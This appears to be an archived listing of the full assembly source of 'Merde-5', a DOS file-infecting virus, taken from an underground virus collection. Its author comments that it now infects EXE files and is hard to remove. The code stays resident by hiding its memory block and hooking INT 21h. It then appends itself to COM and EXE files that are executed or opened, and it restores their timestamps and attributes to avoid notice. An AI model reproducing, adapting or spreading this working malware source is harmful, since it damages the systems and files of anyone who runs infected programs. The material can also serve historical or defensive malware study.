home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / merde-5.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.0 KB  |  613 lines

  1. ; Okay, here is my newest version..  It now 
  2.  
  3. ; offers EXE infection.  I messed up command.com
  4.  
  5. ; compatibility so this version won't infect it.
  6.  
  7. ; Also, this version might be a little shakey,
  8.  
  9. ; but it should work okay with most setups
  10.  
  11. ; (I'm not professional yet, so screw 'em
  12.  
  13. ; if this hangs!)..
  14.  
  15. ; This will be the last time I release code for
  16.  
  17. ; my virii.  Thanks to firststrike, and anyone else
  18.  
  19. ; who has given me tips.....
  20.  
  21. ;  Be careful not to get this, it is kinda hard to get rid
  22.  
  23. ;  of (it would be REALLY hard to get rid of if it infected
  24.  
  25. ;command.com- I will have to fix that (along with the TERRIBLE
  26.  
  27. ; inefficiency in my interrupt handler (the loader is OKAY, but
  28.  
  29. ; My_21 is just kind of a jumble of code thrown together for now.
  30.  
  31. ; If you want to vaccinate your system, and you know a little about
  32.  
  33. ; assembler, it isn't that hard. (I gave the come version to
  34.  
  35. ; myself about 3 times).  Just take notice of my use of interrupt
  36.  
  37. ; 71...(This will be changed in future versions, for obvious reasons).
  38.  
  39. ;    MERDE-5 The merde virus version 5.0-            loki
  40.  
  41.  
  42.  
  43.  
  44.  
  45. compare_val    equ    850
  46.  
  47. interrupt    equ    21h
  48.  
  49. Code_seg    Segment Byte
  50.  
  51.     Assume DS:Code_seg, CS:Code_seg
  52.  
  53.     ORG 100h
  54.  
  55.  
  56.  
  57. start:    call    get_ip
  58.  
  59.  
  60.  
  61. exe_or_com:
  62.  
  63.     dw    'CO'
  64.  
  65. get_ip:
  66.  
  67.     pop    di
  68.  
  69.     sub    di,3
  70.  
  71.     cmp    word ptr cs:[di+3],'EX'
  72.  
  73.     jne    com_memory_loader
  74.  
  75.     jmp    exe_memory_loader
  76.  
  77.  
  78.  
  79. ;Load memory from within an EXE file..
  80.  
  81. ;------------------------------------------------------------------------------        
  82.  
  83. exe_memory_loader:
  84.  
  85.     call    check_for_int_71
  86.  
  87.     jc    go
  88.  
  89.     call    get_memory    ;es=my_segment
  90.  
  91.     jnc    aaaa
  92.  
  93.     jmp    exit_exe
  94.  
  95. aaaa:
  96.  
  97.     call    hide_memory
  98.  
  99.     call    set_int_71
  100.  
  101.     call    save_21
  102.  
  103.     push    ds
  104.  
  105.     call    move_all_code
  106.  
  107.     pop    ds
  108.  
  109.     mov    bx,es
  110.  
  111.     call    set_21
  112.  
  113. go:    jmp    exit_exe
  114.  
  115.  
  116.  
  117. ;------------------------------------------------------------------------------
  118.  
  119. ;******************************************************************************
  120.  
  121. ;------------------------------------------------------------------------------
  122.  
  123. ;load memory from a COM file...
  124.  
  125.  
  126.  
  127. com_memory_loader:
  128.  
  129.     call    restore_com
  130.  
  131.     call    check_for_int_71
  132.  
  133.     jc    go_1
  134.  
  135.     call    get_memory
  136.  
  137.     jnc    bbbb
  138.  
  139.     jmp    exit_com
  140.  
  141.     
  142.  
  143. bbbb:    call    hide_memory
  144.  
  145.  
  146.  
  147. reset_di:
  148.  
  149.     call    set_int_71
  150.  
  151.     call    save_21
  152.  
  153.     call    move_all_code
  154.  
  155.     mov    bx,es
  156.  
  157.     call    set_21
  158.  
  159. go_1:    jmp    exit_com
  160.  
  161.  
  162.  
  163. ;------------------------------------------------------------------------------
  164.  
  165. ;Returns ES with my segment (or an error)
  166.  
  167. ;------------------------------------------------------------------------------
  168.  
  169. get_memory:
  170.  
  171.     int    12h
  172.  
  173.     mov    bx,cs
  174.  
  175.     mov    cx,1024
  176.  
  177.     mul    cx    
  178.  
  179.     clc
  180.  
  181.     mov    cx,600h            ;Amount of needed memory
  182.  
  183.     sub    ax,cx
  184.  
  185.     sbb    dx,0000            ;dx:ax=where we want this mem to end!
  186.  
  187.     mov    bx,dx
  188.  
  189.     mov    bp,ax            ;save this...
  190.  
  191.     mov    cx,cs
  192.  
  193.     mov    ax,0010h
  194.  
  195.     mul    cx
  196.  
  197.     clc
  198.  
  199.     mov    cx,di
  200.  
  201.     add    cx,offset ending-100h
  202.  
  203.     add    ax,cx
  204.  
  205.     adc    dx,0000
  206.  
  207.     clc
  208.  
  209.     sub    bp,ax
  210.  
  211.     sbb    bx,dx
  212.  
  213.     clc
  214.  
  215.     mov    ax,bp
  216.  
  217.     mov    dx,bx
  218.  
  219.     mov    cx,0010h
  220.  
  221.     div    cx        ;dx:ax=memory above this-divide it by 16
  222.  
  223.     mov    bx,ax
  224.  
  225.     mov    ah,4ah
  226.  
  227.     int    21h
  228.  
  229.     jc    get_memory_error
  230.  
  231.     mov    bx,60
  232.  
  233.     mov    ah,48h
  234.  
  235.     int    21h
  236.  
  237.     jc    get_memory_error
  238.  
  239.     mov    es,ax
  240.  
  241.     clc
  242.  
  243.     ret
  244.  
  245. get_memory_error:
  246.  
  247.     stc
  248.  
  249.     ret
  250.  
  251. ;------------------------------------------------------------------------------
  252.  
  253. ;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
  254.  
  255. ;------------------------------------------------------------------------------
  256.  
  257. move_all_code:
  258.  
  259. ;move PSP**************************
  260.  
  261.     push    di
  262.  
  263.     xor    si,si
  264.  
  265.     xor    di,di
  266.  
  267.     mov    cx,100h
  268.  
  269.     rep    movsb
  270.  
  271. ;**********************************
  272.  
  273. ;move my code**********************
  274.  
  275.     pop    si
  276.  
  277.     push    si
  278.  
  279.     push    cs
  280.  
  281.     pop    ds
  282.  
  283.     mov    cx,offset ending-100h
  284.  
  285.     rep    movsb
  286.  
  287.     pop    di
  288.  
  289.     ret
  290.  
  291. ;**********************************    
  292.  
  293. ;------------------------------------------------------------------------------
  294.  
  295. ;------------------------------------------------------------------------------
  296.  
  297. ;saves interrupt 21 in cs:[int_21_saveo]
  298.  
  299. save_21:
  300.  
  301.     push    es
  302.  
  303.     xor    ax,ax
  304.  
  305.     mov    es,ax
  306.  
  307.     mov    ax,es:[interrupt*4]
  308.  
  309.     mov    bx,es:[interrupt*4+2]
  310.  
  311.     mov    cs:[di+offset int_21_saveo-100h],ax
  312.  
  313.     mov    cs:[di+offset int_21_saves-100h],bx
  314.  
  315.     pop    es
  316.  
  317.     ret
  318.  
  319.  
  320.  
  321. ;-----------------------------------------------------------------------------
  322.  
  323. ;sets interrupt 21 to bx:offset of my_21
  324.  
  325. set_21:
  326.  
  327.     push    es
  328.  
  329.     xor    ax,ax
  330.  
  331.     mov    es,ax
  332.  
  333.     mov    es:[interrupt*4],offset my_21
  334.  
  335.     mov    es:[interrupt*4+2],bx
  336.  
  337.     pop    es
  338.  
  339.     ret
  340.  
  341. ;-----------------------------------------------------------------------------
  342.  
  343. ;-----------------------------------------------------------------------------
  344.  
  345. ;Restores a COM file
  346.  
  347. restore_com:
  348.  
  349.     push    di
  350.  
  351.     mov    si,di
  352.  
  353.     add    si,offset three_bytes-100h
  354.  
  355.     mov    di,0100h
  356.  
  357.     mov    cx,3
  358.  
  359.     rep    movsb
  360.  
  361.     pop    di
  362.  
  363.     ret
  364.  
  365. ;------------------------------------------------------------------------------
  366.  
  367. ;Hides my segment's (es) size and owner
  368.  
  369. hide_memory:
  370.  
  371.     push    ds
  372.  
  373.     xor    cx,cx
  374.  
  375.     mov    ds,cx
  376.  
  377.     mov    cx,ds:[2eh*4+2]
  378.  
  379.     pop    ds
  380.  
  381.     push    ds
  382.  
  383.     mov    dx,es
  384.  
  385.     dec    dx
  386.  
  387.     mov    ds,dx
  388.  
  389.     mov    ds:[1],cx            ;maybe later set to DOS seg
  390.  
  391.     mov    byte ptr ds:[0],'Z'
  392.  
  393.     mov    word ptr ds:[3],0000
  394.  
  395.     mov    es:[16h],cx
  396.  
  397.     mov    es:[0ah],cx
  398.  
  399.     mov    es:[0ch],cx
  400.  
  401.     pop    ds
  402.  
  403.     ret
  404.  
  405. ;------------------------------------------------------------------------------
  406.  
  407.  
  408.  
  409. ;check_for_int 71-  My little multiplex interrupt
  410.  
  411. check_for_int_71:
  412.  
  413.     int    71h
  414.  
  415.     cmp    ax,9999h
  416.  
  417.     je    set_c
  418.  
  419.     clc
  420.  
  421.     ret
  422.  
  423. set_c:
  424.  
  425.     stc
  426.  
  427.     ret
  428.  
  429. ;------------------------------------------------------------------------------
  430.  
  431.  
  432.  
  433. ;Set interrupt 71:
  434.  
  435. set_int_71:
  436.  
  437.     push    ds
  438.  
  439.     xor    ax,ax
  440.  
  441.     mov    ds,ax
  442.  
  443.     mov    ds:[71h*4+2],es
  444.  
  445.     mov    ds:[71h*4],offset my_71
  446.  
  447.     pop    ds
  448.  
  449.     ret
  450.  
  451.  
  452.  
  453.  
  454.  
  455. exit_com:
  456.  
  457.     xor    cx,cx
  458.  
  459.     xor    dx,dx
  460.  
  461.     xor    ax,ax
  462.  
  463.     xor    bx,bx
  464.  
  465.     xor    si,si
  466.  
  467.     xor    di,di
  468.  
  469.     mov    ax,100h
  470.  
  471.     jmp    ax
  472.  
  473.  
  474.  
  475. exit_exe:
  476.  
  477.     push    ds
  478.  
  479.     pop    es
  480.  
  481.     mov    ax,es
  482.  
  483.     add    ax,10h
  484.  
  485.     add    word ptr cs:[di+offset orig_cs-100h],ax
  486.  
  487.     cli
  488.  
  489.     add    ax,word ptr cs:[di+offset orig_ss-100h]
  490.  
  491.     mov    ss,ax
  492.  
  493.     mov    sp,word ptr cs:[di+offset orig_sp-100h]
  494.  
  495.     sti
  496.  
  497.     jmp    dword ptr cs:[di+offset orig_ip-100h]
  498.  
  499.  
  500.  
  501. ;------------------------------------------------------------------
  502.  
  503. my_21:    
  504.  
  505.     cmp    ah,4bh
  506.  
  507.     je    okay_go
  508.  
  509.     cmp    ah,0fh
  510.  
  511.     je    okay_go
  512.  
  513.     cmp    ah,3dh
  514.  
  515.     je    okay_go
  516.  
  517.     cmp    ah,43h
  518.  
  519.     je    okay_go
  520.  
  521.     jmp    continue_21
  522.  
  523. okay_go:
  524.  
  525.     push    ax
  526.  
  527.     push    bx
  528.  
  529.     push    cx
  530.  
  531.     push    dx
  532.  
  533.     push    es
  534.  
  535.     push    di
  536.  
  537.     push    si
  538.  
  539.     push    bp
  540.  
  541.     push    es
  542.  
  543.     push    ds
  544.  
  545. check_for_com:
  546.  
  547.     xor    si,si
  548.  
  549.     mov    bx,dx
  550.  
  551. looper:
  552.  
  553.     cmp    word ptr ds:[bx+si],'c.'
  554.  
  555.     je    check_om
  556.  
  557.     cmp    word ptr ds:[bx+si],'C.'
  558.  
  559.     je    check_om
  560.  
  561.     cmp    word ptr ds:[bx+si],'e.'
  562.  
  563.     je    check_ex
  564.  
  565.     cmp    word ptr ds:[bx+si],'E.'
  566.  
  567.     je    check_ex
  568.  
  569.     inc    si
  570.  
  571.     cmp    si,40
  572.  
  573.     jne    looper
  574.  
  575.     jmp    give_up1
  576.  
  577. check_om:
  578.  
  579.     cmp    word ptr ds:[bx+si+2],'mo'
  580.  
  581.     jne    bb
  582.  
  583.     mov    cs:[com_or_exe],0
  584.  
  585.     jmp    check_for_infection
  586.  
  587. bb:    cmp    word ptr ds:[bx+si+2],'MO'
  588.  
  589.     jne    cc
  590.  
  591.     mov    cs:[com_or_exe],0
  592.  
  593.     jmp    check_for_infection
  594.  
  595. cc:    jmp    give_up1    
  596.  
  597. check_ex:
  598.  
  599.     cmp    word ptr ds:[bx+si+2],'ex'
  600.  
  601.     jne    label1
  602.  
  603.     mov    cs:[com_or_exe],1234h
  604.  
  605.     jmp    okay_do
  606.  
  607. label1:
  608.  
  609.     cmp    word ptr ds:[bx+si+2],'EX'        ;FIX ME!!!!!!!
  610.  
  611.     je    cccc                ;forget exe for now..
  612.  
  613.     jmp    give_up1
  614.  
  615. cccc:
  616.  
  617.     mov    cs:[com_or_exe],1234h
  618.  
  619.     jmp    okay_do
  620.  
  621. check_for_infection:
  622.  
  623.     cmp    word ptr [bx+si-2],'DN'
  624.  
  625.     jne    okey_k
  626.  
  627.     jmp    give_up1
  628.  
  629. okey_k:
  630.  
  631.     cmp    word ptr [bx+si-2],'DN'
  632.  
  633.     jne    okay_do
  634.  
  635.     jmp    give_up1
  636.  
  637. okay_do:
  638.  
  639.     mov    cs:[storage_1],ds
  640.  
  641.     mov    cs:[storage_2],dx
  642.  
  643.     mov    ah,50h        ;set PSP to ours
  644.  
  645.     push    cs
  646.  
  647.     pop    bx
  648.  
  649.     call    dos_21
  650.  
  651.     mov    ah,43h
  652.  
  653.     xor    al,al
  654.  
  655.     call    dos_21
  656.  
  657.     jnc    okay9
  658.  
  659.     jmp    give_up
  660.  
  661. okay9:    mov    cs:[attrib],cx
  662.  
  663.     mov    ah,43h
  664.  
  665.     mov    al,1
  666.  
  667.     xor    cx,cx
  668.  
  669.     call    dos_21
  670.  
  671.     mov    ah,3dh
  672.  
  673.     mov    al,2
  674.  
  675.     call    dos_21
  676.  
  677.     jnc    okay10
  678.  
  679.     jmp    give_up
  680.  
  681. okay10:    mov    cs:[handle],ax
  682.  
  683.     mov    bx,ax
  684.  
  685.     mov    ah,57h
  686.  
  687.     xor    al,al
  688.  
  689.     call    dos_21
  690.  
  691.     mov    cs:[date],dx
  692.  
  693.     mov    cs:[time],cx
  694.  
  695.     mov    ax,4202h
  696.  
  697.     xor    dx,dx
  698.  
  699.     xor    cx,cx
  700.  
  701.     call    dos_21
  702.  
  703.     jnc    okay11
  704.  
  705.     jmp    give_up
  706.  
  707. okay11:    mov    cs:[file_size],ax
  708.  
  709.     cmp    cs:[com_or_exe],1234h
  710.  
  711.     jne    okey_p
  712.  
  713.     sub    ax,compare_val
  714.  
  715.     sbb    dx,0000
  716.  
  717.     mov    cx,dx
  718.  
  719.     mov    dx,ax
  720.  
  721.     jmp    contin2
  722.  
  723. okey_p:    xor    cx,cx
  724.  
  725.     cmp    ax,63000
  726.  
  727.     jb    contin1
  728.  
  729.     call    reset_all
  730.  
  731.     jmp    give_up
  732.  
  733. contin1:
  734.  
  735.     cmp    ax,600
  736.  
  737.     jnb    continx
  738.  
  739.     call    reset_all
  740.  
  741.     jmp    give_up
  742.  
  743. continx:
  744.  
  745.     sub    ax,compare_val
  746.  
  747.     mov    dx,ax
  748.  
  749.     xor    cx,cx
  750.  
  751. contin2:
  752.  
  753.     mov    ax,4200h
  754.  
  755.     mov    bx,cs:[handle]
  756.  
  757.     call    dos_21
  758.  
  759.     mov    ah,3fh
  760.  
  761.     push    cs
  762.  
  763.     pop    ds
  764.  
  765.     mov    dx,offset buffer
  766.  
  767.     mov    cx,2
  768.  
  769.     call    dos_21
  770.  
  771.     mov    ax,word ptr cs:[buffer]
  772.  
  773.     mov    bx,word ptr cs:[offset dont_write-compare_val]
  774.  
  775.     cmp    ax,bx
  776.  
  777.     jne    dddd
  778.  
  779.     jmp    give_up
  780.  
  781. dddd:
  782.  
  783.     cmp    cs:[com_or_exe],1234h
  784.  
  785.     je    infect_exe
  786.  
  787.     jmp    infect_com
  788.  
  789.  
  790.  
  791. infect_exe:
  792.  
  793.     mov    bx,cs:[handle]
  794.  
  795.     xor    dx,dx
  796.  
  797.     xor    cx,cx
  798.  
  799.     mov    ax,4200h
  800.  
  801.     call    dos_21
  802.  
  803.     push    cs
  804.  
  805.     pop    ds
  806.  
  807.     mov    ah,3fh
  808.  
  809.     mov    cx,18h
  810.  
  811.     mov    dx,offset header
  812.  
  813.     call    dos_21
  814.  
  815.     cmp    word ptr [header+8],1000h
  816.  
  817.     jb    okayh
  818.  
  819.     call    reset_all
  820.  
  821.     jmp    give_up
  822.  
  823. okayh:    mov    ax,word ptr [header+16h]
  824.  
  825.     mov    orig_cs,ax
  826.  
  827.     mov    ax,word ptr [header+14h]
  828.  
  829.     mov    orig_ip,ax
  830.  
  831.     mov    ax,word ptr [header+0eh]
  832.  
  833.     mov    orig_ss,ax
  834.  
  835.     mov    ax,word ptr [header+10h]
  836.  
  837.     mov    orig_sp,ax
  838.  
  839.     mov    ax,4202h
  840.  
  841.     mov    bx,handle
  842.  
  843.     xor    cx,cx
  844.  
  845.     xor    dx,dx
  846.  
  847.     call    dos_21
  848.  
  849.     mov    word ptr ds:[exe_or_com],'EX'
  850.  
  851.     mov    high_size,dx
  852.  
  853.     mov    low_size,ax
  854.  
  855.     mov    real_hsize,dx
  856.  
  857.     mov    real_lsize,ax
  858.  
  859.     mov    ax,word ptr [header+8]
  860.  
  861.     mov    cx,10h
  862.  
  863.     mul    cx
  864.  
  865.     clc
  866.  
  867.     sub    low_size,ax        ;high_size:low_size=load size
  868.  
  869.     sbb    high_size,dx
  870.  
  871.     clc
  872.  
  873.     mov    dx,high_size
  874.  
  875.     mov    ax,low_size
  876.  
  877.     mov    cx,0010h
  878.  
  879.     div    cx
  880.  
  881.     cmp    dx,0
  882.  
  883.     je    okay
  884.  
  885.     mov    cx,16
  886.  
  887.     sub    cx,dx
  888.  
  889.     mov    bp,cx
  890.  
  891.     add    real_lsize,bp
  892.  
  893.     adc    real_hsize,0000
  894.  
  895.     clc
  896.  
  897.     stc
  898.  
  899.     adc    ax,0000
  900.  
  901.     jmp    okay1
  902.  
  903. okay:    xor    bp,bp
  904.  
  905. okay1:    xor    dx,dx
  906.  
  907.     mov    word ptr [header+16h],ax
  908.  
  909.     ;add to dx?
  910.  
  911.     mov    word ptr [header+14h],dx
  912.  
  913.     mov    word ptr [header+0eh],ax
  914.  
  915.     mov    dx,0fffeh
  916.  
  917.     mov    word ptr [header+10h],dx
  918.  
  919.     mov    dx,real_hsize
  920.  
  921.     mov    ax,real_lsize
  922.  
  923.     add    ax,offset ending-100h+1
  924.  
  925.     adc    dx,0000
  926.  
  927.     push    ax
  928.  
  929.     mov    cl,9
  930.  
  931.     shr    ax,cl
  932.  
  933.     ror    dx,cl
  934.  
  935.     stc
  936.  
  937.     adc    dx,ax
  938.  
  939.     pop    ax
  940.  
  941.     and    ah,1
  942.  
  943.     mov    word ptr [header+4],dx
  944.  
  945.     mov    word ptr [header+2],ax    
  946.  
  947.     mov    ah,40h
  948.  
  949.     mov    bx,handle
  950.  
  951.     mov    cx,offset dont_write-100h
  952.  
  953.     add    cx,bp
  954.  
  955.     mov    dx,100h
  956.  
  957.     sub    dx,bp
  958.  
  959.     call    dos_21
  960.  
  961.     mov    ax,4200h
  962.  
  963.     xor    cx,cx
  964.  
  965.     xor    dx,dx
  966.  
  967.     mov    bx,handle
  968.  
  969.     call    dos_21
  970.  
  971.     mov    ah,40h
  972.  
  973.     mov    bx,handle
  974.  
  975.     mov    cx,18h
  976.  
  977.     mov    dx,offset header
  978.  
  979.     call    dos_21
  980.  
  981.     call    reset_all
  982.  
  983.     jmp    give_up
  984.  
  985.  
  986.  
  987. infect_com:
  988.  
  989.     xor    cx,cx
  990.  
  991.     xor    dx,dx
  992.  
  993.     mov    bx,cs:[handle]
  994.  
  995.     mov    ax,4200h
  996.  
  997.     call    dos_21
  998.  
  999.     mov    ah,3fh
  1000.  
  1001.     mov    cx,3
  1002.  
  1003.     push    cs
  1004.  
  1005.     pop    ds
  1006.  
  1007.     mov    dx,offset three_bytes
  1008.  
  1009.     call    dos_21
  1010.  
  1011.     mov    ax,cs:[file_size]
  1012.  
  1013.     sub    ax,3
  1014.  
  1015.     mov    word ptr cs:[jumper+1],ax
  1016.  
  1017.     mov    word ptr cs:[exe_or_com],'CO'
  1018.  
  1019.     call    write_to_end
  1020.  
  1021.     xor    cx,cx
  1022.  
  1023.     xor    dx,dx
  1024.  
  1025.     mov    ax,4200h
  1026.  
  1027.     mov    bx,cs:[handle]
  1028.  
  1029.     call    dos_21
  1030.  
  1031.     mov    dx,offset jumper
  1032.  
  1033.     mov    ah,40h
  1034.  
  1035.     mov    cx,3
  1036.  
  1037.     call    dos_21
  1038.  
  1039.     call    reset_all
  1040.  
  1041. give_up:
  1042.  
  1043.     mov    ah,50h
  1044.  
  1045.     mov    bx,cs:[storage_1]
  1046.  
  1047.     call    dos_21
  1048.  
  1049. give_up1:
  1050.  
  1051.     pop    ds
  1052.  
  1053.     pop    es
  1054.  
  1055.     pop    bp
  1056.  
  1057.     pop    si
  1058.  
  1059.     pop    di
  1060.  
  1061.     pop    es
  1062.  
  1063.     pop    dx
  1064.  
  1065.     pop    cx
  1066.  
  1067.     pop    bx
  1068.  
  1069.     pop    ax
  1070.  
  1071.     jmp    continue_21
  1072.  
  1073. continue_21:
  1074.  
  1075.     jmp    dword ptr cs:[int_21_saveo]
  1076.  
  1077. dos_21:
  1078.  
  1079.     pushf
  1080.  
  1081.     call    dword ptr cs:[int_21_saveo]
  1082.  
  1083.     ret
  1084.  
  1085.  
  1086.  
  1087. reset_all:
  1088.  
  1089.     mov    bx,cs:[handle]
  1090.  
  1091.     mov    cx,cs:[time]
  1092.  
  1093.     mov    dx,cs:[date]
  1094.  
  1095.     mov    ax,5701h
  1096.  
  1097.     call    dos_21
  1098.  
  1099.     mov    ah,3eh
  1100.  
  1101.     mov    bx,cs:[handle]
  1102.  
  1103.     call    dos_21
  1104.  
  1105.     mov    ah,43h
  1106.  
  1107.     mov    al,1
  1108.  
  1109.     mov    cx,cs:[attrib]
  1110.  
  1111.     mov    ds,cs:[storage_1]
  1112.  
  1113.     mov    dx,cs:[storage_2]
  1114.  
  1115.     call    dos_21
  1116.  
  1117.     ret    
  1118.  
  1119.  
  1120.  
  1121. write_to_end:
  1122.  
  1123.     
  1124.  
  1125.     mov    ax,4202h
  1126.  
  1127.     xor    dx,dx
  1128.  
  1129.     xor    cx,cx
  1130.  
  1131.     mov    bx,cs:[handle]
  1132.  
  1133.     call    dos_21
  1134.  
  1135.     mov    ah,40h
  1136.  
  1137.     mov    cx,offset dont_write-100h
  1138.  
  1139.     push    cs
  1140.  
  1141.     pop    ds
  1142.  
  1143.     mov    dx,0100h
  1144.  
  1145.     call    dos_21
  1146.  
  1147.     ret
  1148.  
  1149. my_71:
  1150.  
  1151.     mov    ax,9999h
  1152.  
  1153.     iret
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. jumper:
  1160.  
  1161.     db    0e9h,00,00
  1162.  
  1163. storage_1    dw    0000
  1164.  
  1165. storage_2    dw    0000
  1166.  
  1167. int_21_saveo    dw    0000
  1168.  
  1169. int_21_saves    dw    0000
  1170.  
  1171. three_bytes:    db    0cdh,20h,90h
  1172.  
  1173. db    'Loki'
  1174.  
  1175. orig_ip        dw    0000
  1176.  
  1177. orig_cs        dw    0000
  1178.  
  1179. orig_ss        dw    0000
  1180.  
  1181. orig_sp        dw    0000
  1182.  
  1183. dont_write:
  1184.  
  1185.  
  1186.  
  1187. header:
  1188.  
  1189.         db 24 dup(00)
  1190.  
  1191. com_or_exe    dw    1234h
  1192.  
  1193. handle        dw    0000
  1194.  
  1195. file_size    dw    0000
  1196.  
  1197. attrib        dw    0000
  1198.  
  1199. date        dw    0000
  1200.  
  1201. time        dw    0000
  1202.  
  1203. buffer:        dw    0000
  1204.  
  1205. loader_high    dw    0000
  1206.  
  1207. loader_low    dw    0000
  1208.  
  1209. header_cs    dw    0000
  1210.  
  1211. header_ip    dw    0000
  1212.  
  1213. low_size    dw    0000
  1214.  
  1215. high_size    dw    0000
  1216.  
  1217. real_hsize    dw    0000
  1218.  
  1219. real_lsize    dw    0000
  1220.  
  1221. ending:
  1222.  
  1223. Code_seg     ENDS
  1224.  
  1225. END    start